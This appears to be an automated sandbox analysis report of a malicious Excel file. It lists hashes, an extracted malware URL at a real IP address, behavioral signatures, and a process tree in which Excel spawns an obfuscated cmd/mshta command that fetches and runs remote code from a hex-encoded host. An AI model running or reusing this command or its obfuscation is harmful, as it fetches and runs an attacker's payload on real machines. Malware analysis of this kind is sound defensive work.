Analysis
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max time kernel
121s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20241023-en -
resource tags
arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system -
submitted
20/11/2024, 09:47
Behavioral task
behavioral1
Sample
24ca505f24619029d18677eb0d8ba7496f217e9f822d0e390de9462bfb3f7f24.xls
Resource
win7-20241023-en
Behavioral task
behavioral2
Sample
24ca505f24619029d18677eb0d8ba7496f217e9f822d0e390de9462bfb3f7f24.xls
Resource
win10v2004-20241007-en
General
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Target
24ca505f24619029d18677eb0d8ba7496f217e9f822d0e390de9462bfb3f7f24.xls
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Size
102KB
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MD5
e0afe16bc322e3a665831725ef87d03f
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SHA1
642990e1712c48f480beb3a34092d8aab3625f40
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SHA256
24ca505f24619029d18677eb0d8ba7496f217e9f822d0e390de9462bfb3f7f24
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SHA512
0cbbe8bf34e76292dfe1a2bc4e2546ef6c74a5a72288b728ee45eba29700166e38d594a4ba2ae5f4c4bbff15817eecc6aaf79d86fe445e6bf866bc6605dc109d
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SSDEEP
3072:n/k3hbdlylKsgqopeJBWhZFGkE+cL2NdAFxe53lGvFTQ3IzxgdrvxpU0OKvMB:/k3hbdlylKsgqopeJBWhZFVE+W2NdAOK
Malware Config
Extracted
http://185.7.214.7/fer/fe3.html
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 2356 1980 cmd.exe 29 -
Blocklisted process makes network request 2 IoCs
flow pid Process 4 2392 mshta.exe 5 2392 mshta.exe -
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language EXCEL.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe -
Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1980 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 1980 EXCEL.EXE 1980 EXCEL.EXE 1980 EXCEL.EXE -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1980 wrote to memory of 2356 1980 EXCEL.EXE 30 PID 1980 wrote to memory of 2356 1980 EXCEL.EXE 30 PID 1980 wrote to memory of 2356 1980 EXCEL.EXE 30 PID 1980 wrote to memory of 2356 1980 EXCEL.EXE 30 PID 2356 wrote to memory of 2392 2356 cmd.exe 32 PID 2356 wrote to memory of 2392 2356 cmd.exe 32 PID 2356 wrote to memory of 2392 2356 cmd.exe 32 PID 2356 wrote to memory of 2392 2356 cmd.exe 32
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\24ca505f24619029d18677eb0d8ba7496f217e9f822d0e390de9462bfb3f7f24.xls1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1980 -
C:\Windows\SysWOW64\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html2⤵
- Process spawned unexpected child process
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2356 -
C:\Windows\SysWOW64\mshta.exemshta http://0xb907d607/fer/fe3.html3⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
PID:2392
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